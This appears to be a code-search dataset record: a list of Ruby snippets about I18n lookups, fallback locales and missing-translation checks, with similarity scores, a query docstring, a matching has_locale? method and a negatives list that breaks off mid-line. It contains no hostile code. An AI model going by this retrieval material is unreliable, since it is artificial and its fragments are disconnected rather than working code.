[ "def t(key, default = '')\n c = I18n.t(key)\n if c.match(/translation missing/i)\n c = I18n.t(key, locale: 'en') \n # Still not found. Return default if set\n c = default unless default.blank?\n end\n c\nend", "def missing_translations\n @translations.select { |x, v| v.nil? or v.blank? }\n end", "def t(key, default='')\n c = I18n.t(key)\n if c.match( 'translation missing' )\n c = I18n.t(key, locale: 'en') \n# Still not found. Return default if set\n c = default unless default.blank?\n end\n c\nend", "def test_lookup_given_nil_as_a_key_returns_nil\n assert_nil I18n.backend.send(:lookup, :en, nil)\n end", "def unknown_string\n t('Unknown')\n end", "def assert_no_missing_translations(msg = \"\")\n assert_select \"span[class=translation_missing]\", false, \"Missing translation #{msg}\"\n end", "def missing_translation?\n @translations.any? { |x, v| v.nil? or v.blank? }\n end", "def translated?\n texts = errors.values.flatten.map(&:message)\n texts.select { |text| text.start_with?(\"translation missing\") }.empty?\n end", "def missing_translation\n render :template => \"blog_posts/missing_translation\"\n end", "def translation_missing( attribute = nil )\n missing = {}\n current_locales_used = translated_locales # ... across all attributes\n\n translated_attributes.each do |attr|\n missing_locales = current_locales_used - translation_coverage(attr.to_sym)\n if missing_locales.size > 0\n missing[attr.to_sym] = missing_locales\n end\n end\n if attribute.nil?\n return missing\n else\n return missing[attribute.to_sym]\n end\n end", "def record_not_found_message\n resource_name&.present? ? I18n.t(:x_not_found, name: resource_name&.singularize&.titleize) : I18n.t(:not_found)\n end", "def translation\n @translation ||= name.underscore.split('/').last\n end", "def record_missing(locale, s)\n @missing_translations ||= Set.new\n entry = [ locale, s ]\n return if @missing_translations.include?(entry)\n @missing_translations << entry\n logger.warn \"Missing translation: [#{locale}] #{s.inspect}\"\n end", "def validate_translations\n# logger.debug \"***** validates question translations\"\n if self.dataset.default_language.present?\n# logger.debug \"***** - default is present; text = #{self.text_translations[self.dataset.default_language]}\"\n if self.text_translations[self.dataset.default_language].blank?\n# logger.debug \"***** -- text not present!\"\n errors.add(:base, I18n.t('errors.messages.translation_default_lang',\n field_name: self.class.human_attribute_name('text'),\n language: Language.get_name(self.dataset.default_language),\n msg: I18n.t('errors.messages.blank')) )\n end\n end\n end", "def translator_missing?\n !yaml.key?(\"translator\")\n end", "def translated_message\n lookups = []\n lookups << :\"activemodel.errors.template.message\"\n lookups << :\"activerecord.errors.template.message\"\n lookups << :\"case_form.errors.template.message\"\n lookups << \"There were problems with the following fields:\"\n I18n.t(lookups.shift, :default => lookups)\n end", "def translation_text_presence\n present = false\n translations.each {|t| present = true if !t.text.blank?}\n unless present\n errors.add 'translations.text', I18n.t(\n 'models.phrase.attributes.translations.min_amount',\n default: 'needs at least one translation'\n )\n end\n end", "def get_translate(locale, key)\r\n I18n.t!(key, :locale => locale)\r\n rescue\r\n nil\r\n end", "def fallback_localization(locale, key_without_locale)\n value = nil\n return nil unless fallbacks = ::Rails.application.config.i18n.fallbacks\n keys = fallbacks == true ? @locale_cache.keys : fallbacks\n keys.map(&:to_s).each do |lc|\n if lc != locale.locale && value.nil?\n nk = \"#{lc}.#{key_without_locale}\"\n v = localizations[nk]\n value = v if v.present? && value.nil?\n end\n end\n value\n end", "def translation\n if self.spellings.first\n self.spellings.first.name\n else\n \"\"\n end\n end", "def translate(message)\n @messages[message] || message\n end", "def localize_present?\n false\n end", "def label_translation; end", "def find_first_valid_translation_for_language(language, token_values)\n translation = find_first_valid_translation(language, token_values)\n return [language, translation] if translation\n\n if Tr8n::Config.enable_fallback_languages?\n # recursevily go into the fallback language and look there\n # no need to go to the default language - there obviously won't be any translations for it\n # unless you really won't to keep the keys in the text, and translate the default language\n if language.fallback_language and not language.fallback_language.default?\n return find_first_valid_translation_for_language(language.fallback_language, token_values)\n end\n end \n \n [language, nil]\n end", "def description\n description = I18n.t \"http.status.description.#{symbol}\"\n description = nil if description =~ /translation missing/\n description\n end", "def lex_en_unknown; end", "def test_remove_xlate_by_first_word\n @dict.add_translation(\"book\", \"boek\")\n @dict.remove_translation(\"book\")\n assert_nil @dict.translate(\"book\")\n assert_nil @dict.translate(\"boek\")\n end", "def default_i18n_subject(interpolations = {})\n ''\n end", "def replacement_word_not_nil\n if self.replacement_word.nil?\n self.errors.add(:replacement_word, \"can't be blank\")\n end\n end", "def present_translations\n translations.where.not(value: nil).where(\"value <> ''\")\n end", "def i18n\n begin\n render :text=>I18n.translate(params[:id], :raise => I18n::MissingTranslationData)\n rescue I18n::MissingTranslationData\n render :text=>\"No translation for #{params[:id]}\", :status => 404\n end\n end", "def missing_localizations(org_base='en-US')\n @langs = {}\n @missing_localizations = {}\n @l_files = Dir[File.join( RAILS_ROOT, '/lang/ui', '*.yml')]\n @l_files.each do |file| \n if YAML.load_file(file)\n @langs[File.basename(file, '.*')] = YAML.load_file(file).symbolize_keys \n else\n p \"error with the following file: #{file}, the file might be empty\"\n end\n end\n @base_keys = @langs[org_base]\n unless @base_keys.blank?\n @langs.each_key do |@lang|\n @base_keys.each_key do |key|\n unless @langs[@lang].include?(key)\n @missing_localizations[@lang] ||= {}\n @missing_localizations[@lang] = @missing_localizations[@lang].merge({key.to_sym => @base_keys[key]})\n end\n end\n end\n else\n p \"your #{org_base} file seems empty\"\n end\n @missing_localizations\n end", "def fallback_to_default(localization_key, localization)\n localization_key.localizations.where.not(default_value: nil). \\\n where.not(id: localization.id).first&.default_value\n end", "def lex_en_unknown=(_arg0); end", "def replace_placeholder(placeholder)\n @mappings[extract_categories(placeholder).first]\n end", "def translate(keyword, language)\n if LOCALES[language.to_sym].nil?\n translations = LOCALES[:en]\n else\n translations = LOCALES[language.to_sym]\n end\n return translations[keyword]\nend", "def test_remove_xlate_by_second_word\n @dict.add_translation(\"book\", \"boek\")\n @dict.remove_translation(\"boek\")\n assert_nil @dict.translate(\"book\")\n assert_nil @dict.translate(\"boek\")\n end", "def notranslate?\n @sequence.select { |item| item[/notranslate/] }.last == :notranslate\n end", "def get_name_translation(lang_code)\n #format language code to a valid bing translate format\n lang_code_cut = TranslationsHelper.cut_country(lang_code)\n if lang_code_cut.nil?\n return nil\n end\n\n # check if this is a valid language code\n unless TranslationsHelper.is_valid_language(lang_code_cut)\n return nil\n end\n\n # check if original text is in the new language\n unless original_name.nil?\n lang_code_original_cut = TranslationsHelper.cut_country(original_name.lang_code)\n\n if original_name.lang_code == lang_code\n return original_name.text\n elsif original_name.lang_code == lang_code_cut\n add_name_translation(original_name.text, lang_code)\n return original_name.text\n elsif lang_code_original_cut == lang_code_cut\n add_name_translation(original_name.text, lang_code)\n return original_name.text\n end\n end\n\n # check if translation is already available, if not translate it via bing\n trans = name_translations.find_by_lang_code(lang_code)\n if trans.nil?\n trans_cut = name_translations.find_by_lang_code(lang_code_cut)\n\n # check if there is a translation only with the language code, without country code\n if trans_cut.nil?\n return translate_name_into_lang_code(lang_code)\n else\n add_name_translation(trans_cut.text, lang_code)\n return trans_cut.text\n end\n else\n trans.text\n end\n end", "def test_remove_xlate\r\n @dict.add_translation(\"book\", \"boek\")\r\n @dict.remove_translation(\"book\")\r\n assert_nil @dict.translate(\"book\")\r\n assert_nil @dict.translate(\"boek\")\r\n end", "def N_(translate)\n translate\n end", "def N_(translate)\n translate\n end", "def translate_with_fallbacks opts, locale = nil\n locale ||= default_locale\n\n opts.each.with_index do |(key, vars), index|\n next unless I18n.exists?(key, locale) || index == opts.count - 1\n\n return I18n.translate(key, vars)\n end # each\n end", "def available_translations\n {\n 'en' => 'English',\n 'es' => 'Español',\n 'pt-BR' => 'Português do Brasil'\n }\n end", "def translators_note # :nologin:\n end", "def prepare_label_for_translator(label)\n validate_language_rule\n \n substitution_value = \"\" \n substitution_value << sanitized_name if allowed_in_translation?\n substitution_value << \" \" unless substitution_value.blank?\n substitution_value << language_rule.default_transform(self, piped_params)\n \n label.gsub(full_name, substitution_value) \n end", "def translate(klass, key, value)\n if defined?(I18n)\n super\n else\n value ? value.to_s.humanize.downcase : 'nil'\n end\n end", "def available_translations\n missing_locales = Gallifreyian::Configuration.available_locales - translations.map(&:language)\n missing_locales.each do |locale|\n self.translations << Gallifreyian::Translation::I18nKey.new(language: locale)\n end\n self.translations.order_by({:language => :asc})\n end", "def test_lookup_given_nil_as_a_key_returns_nil\r\n assert_nil @backend.send(:lookup, 'en', nil)\r\n end", "def untranslated\n find_all do |entry|\n entry.untranslated?\n end\n end", "def translation_class(model, locale: I18n.locale)\n translation_exists?(model, locale: locale) ? nil : 'translation-missing'\n end", "def failure_message\n return '' unless found.nil?\n return \"expected tube matching #{expected.to_s}, found none.\"\n end", "def missing_locales\n project.locales.reject do |locale|\n translations.map(&:locale_id).include? locale.id\n end\n end", "def placeholder(placeholderText)\n @placeholder = placeholderText.nil? ? nil : placeholderText.to_s\n end", "def translations; end", "def language_exists\n if language.nil?\n errors.add(:base,\"Language Doesn't Exist\")\n throw :abort\n end\n end", "def license_title_or_empty(license)\n license.blank? ? I18n.t(:value_empty) : I18n.t(\"license_#{license.title.gsub(/[- .]/, '_').strip}\")\n end", "def empty_column_translation\n @column_translation = {}\n end", "def ct(key, language = nil)\n language = language || I18n.locale\n r = {flag: false, key: key, translation: \"\", locale: language.to_sym}\n hooks_run(\"on_translation\", r)\n return r[:translation] if r[:flag]\n translate(\"common.#{key}\", locale: language)\n end", "def npgettext(msgctxt, msgid, msgid_plural, n = T.unsafe(nil)); end", "def translated_error_message(identifier)\n return default_translated_error_message(identifier) if utility.nil?\n I18n.t(\n \"errors.messages.#{utility_class_name}.#{identifier}\",\n default: default_translated_error_message(identifier)\n )\n end", "def translatable\n self._translatable[base_name]\n end", "def silence_errors\n require 'fast_gettext/translation_repository/base'\n translation_repositories[text_domain] ||= TranslationRepository::Base.new('x', :path => 'locale')\n end", "def add_missing_locales\n Locale::Info.three_languages['wee'] = Locale::Info::Language.new('', 'wee', 'I', 'L', 'Lower Sorbian')\n Locale::Info.three_languages['wen'] = Locale::Info::Language.new('', 'wen', 'I', 'L', 'Upper Sorbian')\n end", "def init_translations; end", "def not_found\n super(t('messages.employee.errors.find'))\n end", "def not_found\n super(t('messages.list_item.errors.find'))\n end", "def N_(*args)\r\n LocalizeActiveScaffold.dont_translate(args[0].to_s)\r\n end", "def translated_header_message\n lookups = []\n lookups << :\"activemodel.errors.template.header_message\"\n lookups << :\"activerecord.errors.template.header_message\"\n lookups << :\"case_form.errors.template.header_message\"\n lookups << \"Some errors prohibited this object from being saved\"\n I18n.t(lookups.shift, :default => lookups)\n end", "def not_valid_message; nil; end", "def not_valid_message; nil; end", "def find_first_valid_translation_for_translator(language, translator, token_values)\n translation = find_first_valid_translation(language, token_values)\n return [language, translation] if translation\n \n if translator.fallback_language and not translator.fallback_language.default?\n return find_first_valid_translation_for_language(translator.fallback_language, token_values)\n end\n\n [language, nil]\n end", "def missing_msg(label_id)\n \"<span class='error_message'>Label with ID=#{label_id} is missing!</span>\"\n end", "def localize(key, error_msg='__localization_missing__', args={}, locale=nil)\n return if reserved_keys.include? key\n\n # Set a temporary Locale to support the localized_in method\n #\n unless locale.nil?\n @original_locale = Locale.code\n Locale.set_code(locale)\n end\n localized = localizations[key] || error_msg\n # Get translations from another country but in the same language if Globalite can't find a translation for my locale\n #\n if localized == error_msg\n locales.each do |t_locale|\n if t_locale.to_s.include?(\"#{current_language.to_s}-\") && t_locale != Locale.code\n localized = @@locales[t_locale][key] || error_msg\n end\n end\n end\n localized = interpolate_string(localized.dup, args.dup) if localized.class == String && localized != error_msg\n\n # let's handle pluralization if needed\n # the translation must include pluralize{count, singular string} to be translated\n # the translator can also pass the plural form if needed:\n # pluralize{3, goose, geese}\n localized = localized.gsub( /pluralize\\{(.*)\\}/){ |erb| pluralize(Regexp.last_match(1)) } if localized.is_a?(String) && (localized=~ /pluralize\\{(.*)\\}/)\n\n # Set the locale back to normal\n #\n unless locale.nil?\n Locale.code = @original_locale\n end\n\n return localized\n end", "def find_message(kind, options = {})\n options[:scope] ||= translation_scope\n I18n.t(kind, **options)\n end", "def translate(key, options = {})\n options = options.dup\n if options.has_key?(:default)\n remaining_defaults = Array(options.delete(:default)).compact\n options[:default] = remaining_defaults unless remaining_defaults.first.kind_of?(Symbol)\n end\n\n # If the user has explicitly decided to NOT raise errors, pass that option to I18n.\n # Otherwise, tell I18n to raise an exception, which we rescue further in this method.\n # Note: `raise_error` refers to us re-raising the error in this method. I18n is forced to raise by default.\n if options[:raise] == false\n raise_error = false\n i18n_raise = false\n else\n raise_error = options[:raise] || ActionView::Base.raise_on_missing_translations\n i18n_raise = true\n end\n\n if html_safe_translation_key?(key)\n html_safe_options = options.dup\n options.except(*I18n::RESERVED_KEYS).each do |name, value|\n unless name == :count && value.is_a?(Numeric)\n html_safe_options[name] = ERB::Util.html_escape(value.to_s)\n end\n end\n translation = I18n.translate(scope_key_by_partial(key), html_safe_options.merge(raise: i18n_raise))\n if translation.respond_to?(:map)\n translation.map { |element| element.respond_to?(:html_safe) ? element.html_safe : element }\n else\n translation.respond_to?(:html_safe) ? translation.html_safe : translation\n end\n else\n I18n.translate(scope_key_by_partial(key), options.merge(raise: i18n_raise))\n end\n rescue I18n::MissingTranslationData => e\n if remaining_defaults.present?\n translate remaining_defaults.shift, options.merge(default: remaining_defaults)\n else\n raise e if raise_error\n\n keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])\n title = +\"translation missing: #{keys.join('.')}\"\n\n interpolations = options.except(:default, :scope)\n if interpolations.any?\n title << \", \" << interpolations.map { |k, v| \"#{k}: #{ERB::Util.html_escape(v)}\" }.join(\", \")\n end\n\n return title unless ActionView::Base.debug_missing_translation\n\n content_tag(\"span\", keys.last.to_s.titleize, class: \"translation_missing\", title: title)\n end\n end", "def translate_default(key, value)\n translated[key] = value\n end", "def translate(s)\n old_i18n_locale = I18n.locale\n \n [ current_locale, base ].uniq.each do |locale|\n current_scope.each(s) do |scope|\n next unless value = translate_via_i18n(locale, scope)\n\n log_translation s, locale, scope, value\n \n #\n # reformat: if target format is html, convert the value into text.\n return Localite::Format.send(current_format, value)\n end\n end\n\n src = caller[1]\n if src =~ /^([^:]+:[^:]+):/\n src = $1\n end\n logger.warn \"[#{current_locale}] Could not translate #{current_scope.first(s).inspect}; from #{src}\"\n\n record_missing current_locale, current_scope.first(s)\n raise Missing, [current_locale, s]\n ensure\n I18n.locale = old_i18n_locale\n end", "def fillin_translations\n collection_types = Hyrax::CollectionType.all\n collection_types.each do |c|\n next unless c.title =~ /^translation missing/\n oldtitle = c.title\n c.title = I18n.t(c.title.gsub(\"translation missing: en.\", ''))\n c.save\n Rails.logger.debug \"#{oldtitle} changed to #{c.title}\"\n end\n end", "def languagefallback()\n merge(languagefallback: 'true')\n end", "def replace_with_translation_keys(model_errors)\n return model_errors if internationalized?\n deep_translation_replace(model_errors)\n end", "def translate(key, **options)\n I18n.t key, **options.merge(scope: :quo_vadis, raise: true) rescue nil\n end", "def test_generate_message_exclusion_with_default_message\n assert_equal \"is reserved\", @person.errors.generate_message(:title, :exclusion, value: \"title\")\n end", "def localized_label(str)\n LabelMap[str] || str || ''\n end", "def get_label_in_scope(t,l)\n @lang_ = get_default_label(l)\n languages = t.counterplayers(:atype => @base_locator+\"/association/scoping\", :rtype=>@base_locator+\"/types/named_topic_type\", :otype => @base_locator+\"/types/language\" )\n labels = t.counterplayers(:atype => @base_locator+\"/association/scoping\", :rtype=>@base_locator+\"/types/named_topic_type\", :otype => @base_locator+\"/types/displaylabel\" )\n namedlabels = languages.zip(labels)\n namedlabel = get_default_label(t)\n for label in namedlabels\n if get_default_label(label[0]).include?(@lang_)\n namedlabel = get_default_label(label[1])\n break\n end\n end\n return namedlabel;\n end", "def get_translation(lang_code)\n # format language code to a valid bing translate format\n lang_code_cut = TranslationsHelper.cut_country lang_code\n if lang_code_cut.nil?\n return nil\n end\n\n # check if this is a valid language code\n unless TranslationsHelper.is_valid_language lang_code_cut\n return nil\n end\n\n # check if original text is in the new language\n unless original_text.nil?\n lang_code_original_cut = TranslationsHelper.cut_country original_text.lang_code\n\n if original_text.lang_code == lang_code\n return original_text.text\n elsif original_text.lang_code == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n elsif lang_code_original_cut == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n end\n end\n\n # check if translation is already available, if not translate it via bing\n trans = translations.find_by_lang_code(lang_code)\n if trans.nil?\n trans_cut = translations.find_by_lang_code(lang_code_cut)\n\n # check if there is a translation only with the language code, without country code\n if trans_cut.nil?\n return translate_into_lang_code(lang_code)\n else\n add_translation(trans_cut.text, lang_code)\n return trans_cut.text\n end\n\n return translate_into_lang_code(lang_code)\n else\n return trans.text\n end\n end", "def translate_pattern(key, language = :en)\n case key\n when :search\n language.eql?(:sv) ? 'Du sökte efter %%searchphrase%% %%page%% %%sep%% %%sitename%%' : 'You searched for %%searchphrase%% %%page%% %%sep%% %%sitename%%'\n when :not_found\n language.eql?(:sv) ? 'Sidan kunde inte hittas %%sep%% %%sitename%%' : 'Page Not Found %%sep%% %%sitename%%'\n when :author\n language.eql?(:sv) ? '%%name%%, Författare %%sitename%% %%page%%' : '%%name%%, Author at %%sitename%% %%page%%'\n when :term\n language.eql?(:sv) ? '%%term_title%% Arkiv %%page%% %%sep%% %%sitename%%' : '%%term_title%% Archives %%page%% %%sep%% %%sitename%%'\n end\n end", "def fallback\n @@fallback\n end", "def get_non_dictionary_translation html_doc\n html_doc.xpath('//*[@id=\"result_box\"]/span')\n end", "def translation_class\n const_get translation_class_name\n end", "def _not_here_\n 'not here'\nend", "def localize_with_args(args={}, replacement_string = '__i18n_missing__') \n I18n.translate(self, {:default => \"#{replacement_string}(#{self})\"}.merge(args))\n end", "def test_undefined_models\n [true, false].each do |with_debug_or_not|\n ArkanisDevelopment::SimpleLocalization::Language.debug = with_debug_or_not\n assert_nil UndefinedModel.localized_model_name\n assert_equal 'name'.humanize, UndefinedModel.human_attribute_name('name')\n end\n end", "def exception\n case word\n when 'y' then ['ˈə'] * 2\n when 'yr' then ['ˈər'] * 2\n when 'til' then ['ˈtɪl'] * 2\n else nil\n end\n end", "def message(message, lang=LANGUAGE)\n MESSAGES[lang][message]\nend", "def one_locale_must_have_translations\n if (preferred_locales & configatron.full_locales).empty?\n errors.add(:preferred_locales_str, :one_must_have_translations, locales: configatron.full_locales.join(\",\"))\n end\n end", "def original\n @original ||= @container[:translation].original\n end", "def test_gettext_support\n ### FIXME: how to set \"en\" as gettext's default language?\n\n t = MyTestCell.new(@controller)\n c = render_cell_state(t, :view_with_explicit_english_translation)\n\n # the view \"view_with_explicit_english_translation_en\" exists, check if\n # gettext/rails found it:\n if Object.const_defined?(:GetText)\n assert_selekt c, \"#defaultTranslation\", 0\n assert_selekt c, \"#explicitEnglishTranslation\"\n else\n assert_selekt c, \"#defaultTranslation\"\n end\n end", "def missing_msg\n return unless missing?\n\n 'Missing timestamp.'\n end", "def prepare_label_for_suggestion(label, index)\n validate_language_rule\n label.gsub(full_name, language_rule.default_transform(self, piped_params)) \n end" ]
[ "0.69179493", "0.69086456", "0.68666464", "0.64853626", "0.6466796", "0.63806796", "0.6345606", "0.63341725", "0.62771535", "0.62229925", "0.61943775", "0.619145", "0.6030112", "0.60056806", "0.5980776", "0.5962088", "0.5919397", "0.5820558", "0.58130896", "0.58051103", "0.5798361", "0.5795115", "0.57742083", "0.5765529", "0.5718003", "0.571772", "0.56999934", "0.5683671", "0.56515163", "0.56121767", "0.55772394", "0.5556988", "0.55447084", "0.5500142", "0.54991794", "0.5476607", "0.5468508", "0.5467259", "0.5463237", "0.5459793", "0.5448444", "0.5448444", "0.54484296", "0.5427087", "0.54214233", "0.54210466", "0.54142773", "0.5408478", "0.5400475", "0.5394984", "0.53920954", "0.53897035", "0.53829515", "0.5378125", "0.536664", "0.53663576", "0.536159", "0.5357829", "0.5347094", "0.5346509", "0.53135943", "0.53135127", "0.53080356", "0.52973664", "0.5290738", "0.52834815", "0.5265928", "0.52652985", "0.5261237", "0.5256455", "0.5256455", "0.52527136", "0.5247195", "0.52320516", "0.52203774", "0.5216513", "0.5214682", "0.52140445", "0.5212203", "0.52105653", "0.5206254", "0.52033204", "0.52021015", "0.51908314", "0.5182218", "0.51817125", "0.51704496", "0.516887", "0.51543844", "0.5143081", "0.51364577", "0.51346815", "0.51330376", "0.5130034", "0.5129269", "0.5123278", "0.51203245", "0.51200217", "0.51198673", "0.51155615" ]
0.8087824
0
Return if a translation in the language is stored in all translated fields
def has_locale? locale locales.include?(locale.to_sym) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def localized?\n self.entries_custom_fields.where(localized: true).count > 0\n end", "def translated\n find_all do |entry|\n entry.translated?\n end\n end", "def fully_translated?\n locale_counts.all? do |locale_code, _|\n fully_translated_in?(locale_code)\n end\n end", "def localized?\n self.locales.size > 1\n end", "def localized?\n @localized ||= (self.languages_count > 1)\n end", "def trans_exists?(trans)\n @wordlist.values.include?(trans)\n end", "def one_translation_per_lang_per_key\n translation_exists = Translation.exists?(\n lang: self.lang,\n translator_id: self.translator.id,\n translator_type: self.translator.class.name,\n translation_key_id: self.key.id\n )\n\n unless translation_exists\n true\n else\n false\n self.errors.add(:lang, I18n.t('.one_translation_per_lang_per_key'))\n end\n end", "def localized?\n field = self.content_type.label_field\n !!field.try(:localized)\n end", "def translated?(name)\n self.class.translated?(name)\n# self.class.instance_variable_get(translated_attribute_names).include?(name.to_sym)\n end", "def translated?\n texts = errors.values.flatten.map(&:message)\n texts.select { |text| text.start_with?(\"translation missing\") }.empty?\n end", "def translations\n\t\t\tvalues(\"http://scta.info/property/hasTranslation\")\n\t\tend", "def validate\n untranslated = self.get_untranslated_keys\n untranslated.each { |key|\n puts \"WARNING: \\\"#{key['id']}\\\" is not translated in #{key['untranslated']} languages\"\n }\n end", "def translated?(name)\r\n self.class.translated?(name)\r\n end", "def localized?\n true\n end", "def translated?\n return false if obsolete? || fuzzy?\n not untranslated?\n end", "def fully_translated_in?(locale_code)\n (locale_counts[locale_code] || -1) >= phrase_count\n end", "def manage_all_sites_translations?\n all_sites_translator? || super_admin?\n end", "def missing_translation?\n @translations.any? { |x, v| v.nil? or v.blank? }\n end", "def update_associations_translated_cache\n result = Array(translatable_options[:translatable_associations]).all? do |association|\n records = send(association)\n case records\n when ActiveRecord::Base\n # If it's a single record\n send(association).translation_complete?\n else\n # If it's a relation\n send(association).translation_incomplete.empty?\n end\n end\n # Save without triggering callbacks\n self.class.update_all({:associations_translated => result}, :id => self.id) if self.class.column_names.include? 'associations_translated'\n end", "def untranslated\n find_all do |entry|\n entry.untranslated?\n end\n end", "def has_language?\n !language.nil?\n end", "def nested_locale_fields?\n false\n end", "def cached_translations_for_language(language)\n if Tr8n::RequestContext.current_source\n translations = Tr8n::RequestContext.current_source.valid_translations_for_key_and_language(self.key, language)\n end\n\n # pp \"found #{translations.count} cached translations for #{self.label}\" if translations\n translations || valid_translations_for_language(language)\n end", "def available_locales\n translation_model.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end", "def nested_locale_fields?\n # rubocop:disable Style/DoubleNegation\n !!@nested_locale_fields\n # rubocop:enable Style/DoubleNegation\n end", "def translation_admin\n self.is_translation_admin?\n end", "def localized?\n false\n end", "def cached_translations_for_language(language)\n translations = Tr8n::Config.current_source.valid_translations_for_key_and_language(self.key, language)\n # pp \"found #{translations.count} cached translations for #{self.label}\" if translations\n translations || valid_translations_for_language(language)\n end", "def translate_to_flag\n @translate_to_flag ||= Lang.where(id: current_user.translate_to)\n end", "def respond_to_translatable_attribute?(name)\n name.to_s =~ /^(#{self.class.translatable_attributes.join('|')})(_[a-z]+)?(=)?$/ && [$1, $2 ? $2[1..-1] : nil, $3].compact\n end", "def form_lang_combo_valid?\n # if the term is critical, these fields will not be submitted.\n # supply them from the database instead.\n if @course\n params[:course][:form_id] ||= @course.form.id if @course.form\n params[:course][:language] ||= @course.language\n params[:course][:term_id] ||= @course.term.id if @course.term\n end\n\n # check term has form\n t = Term.find(params[:course][:term_id])\n f = Form.find(params[:course][:form_id])\n\n unless t && f\n flash[:error] = \"Selected term or form not found.\"\n return false\n end\n\n unless t.forms.map { |f| f.id }.include?(params[:course][:form_id].to_i)\n flash[:error] = \"Form “#{f.name}” (id=#{f.id}) is not \" \\\n + \"available for term “#{t.title}”\"\n return false\n end\n\n # check form has language\n l = params[:course][:language]\n return true if f.has_language?(l)\n flash[:error] = \"There’s no language “#{l}” for form “#{f.name}”\"\n false\n end", "def present_translations\n translations.where.not(value: nil).where(\"value <> ''\")\n end", "def save_translations\n return true unless translation_cache\n \n translation_cache.each do |code, attrs|\n switch_language(code) do\n @attributes.update attrs\n update_translation\n end\n end\n true\n end", "def international?\n @international\n end", "def translatable?\n [16, 24, 25].include? f_type\n end", "def editable?\n !self.disabled? &&\n self.locales.include?(::Mongoid::Fields::I18n.locale.to_s) &&\n (!self.fixed? || !self.from_parent?) &&\n !self.destroyed?\n end", "def translation_text_presence\n present = false\n translations.each {|t| present = true if !t.text.blank?}\n unless present\n errors.add 'translations.text', I18n.t(\n 'models.phrase.attributes.translations.min_amount',\n default: 'needs at least one translation'\n )\n end\n end", "def contains?(locale, name)\r\n self[locale].has_key?(name.to_s)\r\n end", "def validate_translations\n# logger.debug \"***** validates question translations\"\n if self.dataset.default_language.present?\n# logger.debug \"***** - default is present; text = #{self.text_translations[self.dataset.default_language]}\"\n if self.text_translations[self.dataset.default_language].blank?\n# logger.debug \"***** -- text not present!\"\n errors.add(:base, I18n.t('errors.messages.translation_default_lang',\n field_name: self.class.human_attribute_name('text'),\n language: Language.get_name(self.dataset.default_language),\n msg: I18n.t('errors.messages.blank')) )\n end\n end\n end", "def is_multilingual (dict_id)\n\t\tit_is = @multi_ling[dict_id]\n\t\treturn it_is if it_is!=nil\n\t\tit_is = false\n\t\tcfg = @dict_configs[dict_id]\n\t\tif cfg == nil \n\t\t\t@multi_ling[dict_id]=it_is\n\t\t\treturn it_is\n\t\tend\n\t\tsupported=Hash.new\n\t\t[\"src_languages\",\"tgt_languages\"].each{|st|\n\t\t\tnext if cfg[st]==nil\n\t\t\tcfg[st].each{|l|\n\t\t\t\tsupported[l]=l\n\t\t\t}\n\t\t}\n\t\tif supported.size>2\n\t\t\tit_is = true\n\t\tend\n\t\t@multi_ling[dict_id]=it_is\n\t\treturn it_is\n\tend", "def permutatable?(language = Tr8n::Config.current_language)\n language_rules_dependant_tokens(language).any?\n end", "def key_has_value?(key, locale = base_locale)\n t(locale_data(locale)[locale], key).present?\n end", "def isValid?\n if @Valid.nil?\n params = []\n joins = ''\n where = ''\n\n if not @Locales.empty?\n joins += ' LEFT JOIN `Locales` AS L ON RI.Locale = L.ID'\n where = 'L.Name COLLATE NOCASE IN (' + Array.new(@Locales.count, '?').join(',') + ') AND '\n params += @Locales\n end\n\n sql = \"SELECT 1 FROM `RailsI18N` RI #{joins} WHERE #{where}RI.`NameLowercase` = ? LIMIT 1\"\n params << @Name.downcase\n\n @Valid = Data::Storage.getStatement(sql).execute(*params).count > 0\n end\n @Valid\n end", "def pr_contains_localization_changes\n files = danger_file.git.added_files + danger_file.git.modified_files\n\n !files.grep(/.strings/).empty?\n end", "def localized_strings?\n @lstrings ||= entry[:localized] && entry[:filename] =~ /strings.js$/\n end", "def loaded?(language_name = nil)\n if language_name\n self.loaded_languages.include? language_name\n else\n not self.loaded_languages.blank?\n end\n end", "def textual?\n properties.include?(\"textual\")\n end", "def translatable\n self._translatable[base_name] ||= []\n end", "def permutable?(language = Tr8n::RequestContext.current_language)\n @permutable ||= {}\n @permutable[language.locale] ||= language_context_dependant_tokens(language).any?\n end", "def i18n_set? key\n I18n.t key, :raise => true rescue false\n end", "def i18n_set? key\n I18n.t key, :raise => true rescue false\n end", "def check_language!\n condition { self.class.languages.include?(params[:lang]) }\n end", "def has_many_through_translatable?\n options[:through] && through_reflection.klass.is_translatable?\n end", "def one_locale_must_have_translations\n if (preferred_locales & configatron.full_locales).empty?\n errors.add(:preferred_locales_str, :one_must_have_translations, locales: configatron.full_locales.join(\",\"))\n end\n end", "def has_field?(field_name)\n direct_fields = self.fields\n foreigns.each do |f|\n foreign_dataset = self.class.dataset_from f\n if foreign_dataset\n direct_fields.concat foreign_dataset.fields\n end\n end\n direct_fields.include? field_name\n end", "def exists_in_language(page, lang)\n pages = @context.registers[:site].pages_by_language\n bool = @context.registers[:site].config['language_default'] == lang || pages[lang][page].name.end_with?(\"#{lang}.md\")\n # puts \"exists_in_lang(#{page}, #{lang}) = #{bool}\"\n bool\n end", "def i18n_set? key\n I18n.t key, :raise => true rescue false\n end", "def languages?(candidate)\n raise ArgumentError, 'candidate must have a :languages key' unless candidate.has_key?(:languages)\n candidate[:languages].any? { |language| REQUIRED_LANGUAGES.include? language } ? true : false\nend", "def is_searchable?\n self.fields.count > 0\n end", "def should_propagate_dependent_option? record\n # When we really want to delete associated records? when these are\n # not being used by any translations. This means that either +record+\n # has no translations, or that its translations use a different set of records\n all_records = record.translations.map do |translation|\n translation.without_current_locale(translation.locale) do\n translation.send(name).to_a\n end\n end.flatten\n (all_records & record.send(name)).empty?\n end", "def localize_present?\n false\n end", "def translates?\n included_modules.include?(InstanceMethods)\n end", "def lang?\n self.lang.nil? ? false : true\n end", "def english_name?\n read_attribute(:name).present?\n end", "def plural?\n @msgid_plural != nil\n end", "def any_changed?(*fields)\n fields.any? do |field|\n model_field = self.class.model_field_cache_inverse[field]\n value_changed = true\n\n if model_field\n value_changed = send(model_field).send(field) != send(field)\n end\n\n given?(field) && value_changed\n end\n end", "def translator_missing?\n !yaml.key?(\"translator\")\n end", "def is_translation_shared?(record = nil)\n options[:translation_shared] || can_be_initialized?(record)\n end", "def published_locales\n StoryTranslation.where(:story_id => self.id, :published => 